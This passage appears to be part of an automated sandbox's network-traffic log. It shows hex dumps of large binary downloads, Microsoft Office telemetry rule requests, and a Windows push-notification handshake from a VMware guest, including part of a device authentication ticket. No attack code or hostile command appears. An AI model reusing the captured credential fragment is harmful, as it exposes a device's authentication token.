25 ea c9 60 d3 3f e5 ba 4d 54 fc 47 14 91 79 7f b9 ff 00 59 57 e0 bc f2 a1 f9 ea a6 b1 73 1d dc 31 c6 9f f2 ce a1 29 5d 0d d8 9a de 2d f0 f9 89 4e 9e 5f b1 43 bd 3e Data Ascii: MkYr4~vxxk)SeFinE=7OVn"%Oi,TZKjH;?wl?t,'JX\|WZ3<YP]Y!?FX]EejmjVt_Kd)SGoGe4%`?MTGyYWs1)]-N_C>
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: 1c 9e 5c 9f f4 d3 75 68 6a b7 d7 16 fe 5b a7 93 fb bb 94 fd dc bf 7f fd da e7 71 bb 2b 9d 92 68 d3 c9 e7 7d a9 f4 18 63 93 fe 5d a4 8a 5f f5 9f f0 1a df f0 cd b7 d9 2d 24 44 86 1b 2f b4 49 e6 47 1c bf df a6 5f 6a 10 5a 78 9a da e9 34 d8 bc 88 ff 00 77 1c 7e 6f f1 d6 5e b0 ba b5 de a1 f6 d9 fc e8 e3 8e e7 f7 71 d1 cb 7d 36 34 e6 b6 a5 1f 18 c1 77 a5 43 26 a3 3e bd f6 27 b7 b9 f2 e3 8e 28 b7 bf 9b fd ea 2a f4 9a 86 f9 a4 b5 bd 87 ed 11 c9 1f fe 3f 45 57 2b 27 9a 27 75 aa e9 fa 13 cd e4 5d 79 36 57 5f f2 ce 4f f9 e9 ff 00 02 aa 5a 1e 87 ab 5d cd 24 76 b0 c3 a8 c1 1f ee ff 00 79 16 cf 33 fe 07 52 cf e2 3d 4e d2 1f df c3 f6 79 3f e7 a5 b5 a7 9d ff 00 d6 ac 8d 57 c7 fe 21 b4 f2 fe c5 e2 4b 4b df fa 76 93 44 48 5e 3a f0 ad 5f ec ea 7b 6f d9 76 35 e0 f0 e6 9b 71 Data Ascii: \uhj[q+h}c]_-$D/IG_jZx4w~o^q}64wC&>'(*?EW+''u]y6W_OZ]$vy3R=Ny?W!KKvDH^:_{ov5q
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: e7 5b c9 1f fd 35 ac 39 f5 7b fb b9 a3 ff 00 55 e6 54 d2 45 68 f0 ec bd 9b f7 9f f4 ca a3 ff 00 44 b4 fd fa 5e 7f ab ab 54 d5 8d 5c b4 23 9e 09 04 de 7d ec d0 c7 25 16 3e 65 dc df b8 86 1f 2e 3a 8d d7 5e d5 65 f2 13 fd 5d 6f 58 e9 f1 da da 7e ff 00 c9 b7 f2 ea cc cb 7a 3e a1 fd 85 f3 c1 fe 8f 75 ff 00 3d 2d a5 d9 57 ff 00 e1 23 d7 75 28 62 7b a9 bf b4 63 ff 00 a6 b1 25 63 c1 14 77 10 ec 78 69 9a 55 e7 d9 3c c4 b5 86 b2 9d 38 c9 dd 94 a4 d2 3b 1b ad 5e 38 ad 3c fb 5f 0a e8 9e 5c 7f f3 d6 d3 f7 df f8 f5 1a 57 c4 b8 12 d3 ec 5a 8f 86 e1 8e 3f f9 67 25 8d de c7 8f fe 03 5c 5e a5 3e a5 a8 7c f3 cd fb ca ab 06 99 3c b7 7f 3c 33 5e ff 00 d7 2a c1 e1 60 cd 55 59 1a 9a 97 89 7e c5 f6 9b af 3a 6b 8f f9 e7 1c bf 23 d6 5f 87 35 7d 6a e2 19 35 1b 5d 4a 6b 78 e4 ff 00 Data Ascii: [59{UTEhD^T\#}%>e.:^e]oX~z>u=-W#u(b{c%cwxiU<8;^8<_\WZ?g%\^>\|<<3^*`UY~:k#_5}j5]Jkx
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: 49 24 ff 00 96 71 7d ca ce fb 4d a5 a5 de f7 87 cb 9f fd 5f ef 68 fa b3 6f 50 95 54 ce d2 eb 4f bb d4 be 48 3f d5 ff 00 cf 4a e3 fc 7f a4 41 a7 c3 ff 00 4d 2b 52 d7 5a d5 9e 1f f4 29 bf 77 4d d4 96 4d 4f 50 df 3f ef 3f 76 9f bb aa 8c 1c 19 9b a8 9a 39 5f 0e 68 72 6a 77 72 6c fd dc 1f f3 d2 bb ef 0e 68 b6 9a 7d a4 68 90 ff 00 ab ff 00 96 95 6b c4 7a 54 16 9a 7c 6f 07 ee fc b8 ff 00 d5 d7 3f 6b 73 a9 45 0e c4 f3 a4 8f fe 79 cb 5b 27 73 36 74 53 ac 11 79 9e 7d 53 ba 82 0f 27 7a 4d 55 6d 6f a7 97 ef c3 34 74 5d 4b fe 89 5a 59 a3 1d 06 dd 45 22 43 e7 c1 79 e6 55 79 2f ae e2 97 63 fe f2 aa cf 2f fc f1 ab 16 b1 6a 57 1f b8 ba f3 a3 8e 9b 56 33 96 e4 f6 b7 30 3f cf fe ae 4a 7c 8d a6 cb 37 9f e4 cd e6 7f cf 3a 92 3d 32 d2 df fe 5b 4d 27 fd 34 a9 a0 8a 0f 3b e7 9b Data Ascii: I$q}M_hoPTOH?JAM+RZ)wMMOP??v9_hrjwrlh}hkzT\|o?ksEy['s6tSy}S'zMUmo4t]KZYE"CyUy/c/jWV30?J\|7:=2[M'4;
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: a4 5f dd ac 6f 11 db 47 e1 7f 01 6a 5a f4 1f bb ba b8 ff 00 44 b2 8f cd ff 00 59 bb f8 96 ba e9 c5 45 1c 95 2e d9 e3 7e 3c b9 b4 bb f1 35 ed d5 ac d0 fd 87 cd fd d4 95 de 7c 21 f0 f6 a5 71 a4 db 5e ea fa 6c d6 f6 31 dc f9 9a 6f 9b ff 00 2d 2b 13 e0 9e 83 69 ad 78 c2 4b ad 5e 19 a4 b5 d0 6c be d1 e5 ff 00 cf 4b 86 7f 97 76 ea f5 a4 9e d1 26 91 fe d9 77 24 9f f4 d2 ad 3b 98 cb e1 2a 68 6d 77 16 b9 73 75 3c 33 47 1f fc b3 96 8a d2 b1 d4 e0 d4 25 df 7b a9 7d 9e d6 3f f9 67 14 5f eb 28 aa b9 8d 88 b5 5b 4d 0a 59 a4 fb 2c d7 71 ff 00 d3 4a cd ba d2 ae ed 3f e5 b4 d7 09 25 6b 41 e1 7f 10 b4 3f e9 5a f7 fd b4 8a d1 2a d4 7e 1c bb 49 b7 dd 5e 5d dc 47 ff 00 5c 91 29 f2 9b 68 71 d3 ae b5 65 36 f4 9a ef c8 ff 00 9e 75 6a d7 c5 1a b2 43 b1 3f 77 ff 00 5c a2 ae f7 49 Data Ascii: _oGjZDYE.~<5\|!q^l1o-+ixK^lKv&w$;hmwsu<3G%{}?g_([MY,qJ?%kA?Z~I^]G\)hqe6ujC?w\I
2024-11-23 23:06:24 UTC	16067	IN	Data Raw: 1d 96 a5 fd 9d 25 c6 cf 2e 49 7f 7c 91 f9 9f 77 cc fe ed 5d 87 5f f1 9d ac db ff 00 b7 b5 09 3f eb e7 f7 df fa 12 d6 45 d6 a7 ad 6a d7 77 29 7d 34 32 79 9f bc 93 fd 11 3f f6 5a 98 d2 69 96 dd cd 6f 88 5e 1c f0 bf 86 b5 6b 6d 07 4b f1 54 da d5 f4 96 c9 25 ef ee 93 c9 8f fd d7 4a cc ba f0 9e ad e4 ef b5 b3 bb f2 ff 00 eb 96 ff 00 fd 06 a5 d2 b4 89 d2 d7 cb 82 f3 cb 83 fe 79 ff 00 05 64 5d 2d f5 95 dc 90 5a ea 57 76 51 ff 00 cf 3b 6b b7 4f fd 06 b7 8b 76 dc 89 46 ef 62 ed 8f 82 7c 4b a8 4d e4 59 68 3a 8d c4 9f f5 e9 b3 ff 00 1e 6a e9 60 f8 15 f1 09 ed 3e d5 a8 d9 e9 3a 54 7e 5f fa cb ed 43 ff 00 65 5a e6 b4 db ef 14 3f 96 89 e2 ad 73 cc ff 00 96 7f f1 30 7f dd d7 41 a6 e9 13 dd f9 73 eb d7 97 7a 8f fd 33 b9 bb 79 92 a2 75 25 17 b9 74 e9 46 5b a2 be b9 e1 3b Data Ascii: %.I\|w]_?Ejw)}42y?Zio^kmKT%Jyd]-ZWvQ;kOvFb\|KMYh:j`>:T~_CeZ?s0Asz3yu%tF[;
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: b3 af 5f 92 08 e2 f9 12 1f 2e 38 eb 96 b4 63 7d 8d e8 c5 b5 76 64 c1 a1 c7 77 0e c7 b3 b4 92 3f fa 6b 15 3a 3f 0c e9 36 ff 00 73 4d b4 8f cc ff 00 9e 51 25 6c 5b ad 49 22 ff 00 1a 7f e8 da e5 f6 8c ea 54 53 32 20 d2 a3 b7 9b 7a 43 0f fd fa ae 37 e2 16 95 e5 6a d1 fe e7 cc f3 3f 79 fb af f9 69 5d fc 92 fe fb e7 ff 00 96 75 c4 7c 46 d4 e7 d4 2e fc 8d 3b f7 90 59 7f ac 92 2f ef ff 00 76 aa 95 49 36 29 d3 56 2c cf a6 5a 5c 79 57 50 69 be 5c 9e 5f fa ba ce ba b6 92 2b bf 21 e1 bb f2 ff 00 e7 ac b5 bd e1 ff 00 0e 5d ea 1e 1e b6 7f ed 2d 47 cb 93 f7 9f eb 53 ee 54 f7 5e 1e b4 b4 f9 3f b4 b5 6f 2f fe ba a3 d7 47 d6 23 1d 0c 65 47 98 e3 60 f3 12 6d 9f eb 23 a8 ef ac 77 dd fc 97 90 fe f3 fe 59 d7 4b 7d e1 eb 4f b2 48 f6 ba 96 a1 e6 7f c0 2b 0e c6 ce 4b 7b 4f df de Data Ascii: _.8c}vdw?k:?6sMQ%l[I"TS2 zC7j?yi]u\|F.;Y/vI6)V,Z\yWPi\_+!]-GST^?o/G#eG`m#wYK}OH+K{O
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: 3e fb c3 b6 b6 73 69 da 3c 9b 2e 23 8e c6 d1 ec 52 de fd 7f bb d5 f6 9e fb eb a6 8a 92 32 95 a4 ee 73 31 ea fe 08 d1 35 0d 36 f7 5e bc d5 ae 35 8f 2f fd 26 e7 fb 13 62 5c 5b b7 f0 34 5f c4 f5 05 f7 8b 3c 21 e2 3d 5b 52 d2 f5 4d 1f 56 d4 7c 17 1c 6f fd 93 65 a4 69 29 67 79 f6 af e0 dd d3 e7 ff 00 68 d6 0d d4 ba d5 a6 93 7d 6b aa 4d 69 71 26 83 7b e5 de e9 b1 cb e7 5e 47 fe da d3 e0 b9 bb 4d 0f ed b6 b0 cd 1d 8f 99 fb bf 37 62 3e fa f4 23 1b a3 8e 53 77 27 d3 75 9d 77 4f f8 65 6d e1 4d 52 6d 6e 4b 1b 39 12 e3 49 f2 a2 85 26 b4 75 ff 00 9e cd 1f cd 3c ad fe dd 74 76 3e 23 d2 7c 35 a1 db 7f 67 7f 67 5e c1 a8 db 4d ff 00 21 2f f4 cf de b7 df fb 44 5f c1 ff 00 7d 57 33 a1 db 78 7b 58 b4 8e ea f7 c6 d7 7a 76 a5 26 f8 fc bb 1d 3f fd 5e ef e1 92 57 a7 d8 c1 e5 5a Data Ascii: >si<.#R2s156^5/&b\[4_<!=[RMV\|oei)gyh}kMiq&{^GM7b>#Sw'uwOemMRmnK9I&u<tv>#\|5gg^M!/D_}W3x{Xzv&?^WZ

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:25 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:25 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: a3d07856-b01e-0084-3a7e-3bd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230625Z-174c587ffdf8lw6dhC1TEBkgs800000003p0000000004x4h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:25 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:25 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:25 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 614243f2-101e-000b-1164-3d5e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230625Z-15b8b599d88hd9g7hC1TEBp75c00000003e000000000pmaa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:25 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49735	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:25 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:25 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 51fbd25c-e01e-0020-5e4d-3cde90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230625Z-15b8b599d885ffrhhC1TEBtuv000000003mg00000000fku8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:25 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:25 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:25 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: e9522a88-801e-0067-2316-3dfe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230625Z-178bfbc474bfw4gbhC1NYCunf40000000560000000004s5k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:26 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49737	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:25 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:26 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: d8f13441-a01e-0021-5e2d-3c814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230626Z-178bfbc474b7cbwqhC1NYC8z4n000000050g00000000cdp1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:26 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49733	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:25 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 69 50 6a 4d 2b 6d 34 34 42 55 43 39 6d 6f 55 73 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 64 63 36 36 31 65 66 64 38 31 65 61 31 61 34 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: iPjM+m44BUC9moUs.1Context: 9dc661efd81ea1a4
2024-11-23 23:06:25 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-23 23:06:25 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 69 50 6a 4d 2b 6d 34 34 42 55 43 39 6d 6f 55 73 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 64 63 36 36 31 65 66 64 38 31 65 61 31 61 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 66 41 73 38 55 6c 4d 30 77 38 36 50 6e 44 55 43 67 54 61 38 72 6f 6b 47 4a 50 6d 39 4a 51 58 46 73 52 54 58 4d 4b 68 36 77 41 46 33 6e 47 51 2b 7a 72 62 47 70 50 58 61 4c 49 58 42 76 67 79 37 52 6d 65 54 72 68 38 4b 70 31 45 73 50 79 44 37 39 78 66 56 57 6f 64 6b 2f 72 74 4a 48 63 55 34 79 6f 71 7a 30 6b 43 72 52 48 6d 57 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: iPjM+m44BUC9moUs.2Context: 9dc661efd81ea1a4<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAefAs8UlM0w86PnDUCgTa8rokGJPm9JQXFsRTXMKh6wAF3nGQ+zrbGpPXaLIXBvgy7RmeTrh8Kp1EsPyD79xfVWodk/rtJHcU4yoqz0kCrRHmW
2024-11-23 23:06:25 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 69 50 6a 4d 2b 6d 34 34 42 55 43 39 6d 6f 55 73 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 64 63 36 36 31 65 66 64 38 31 65 61 31 61 34 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: iPjM+m44BUC9moUs.3Context: 9dc661efd81ea1a4<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-23 23:06:26 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-23 23:06:26 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 4c 37 72 73 7a 33 32 63 35 30 75 4e 48 70 50 49 6f 62 31 68 41 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: L7rsz32c50uNHpPIob1hAw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:27 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
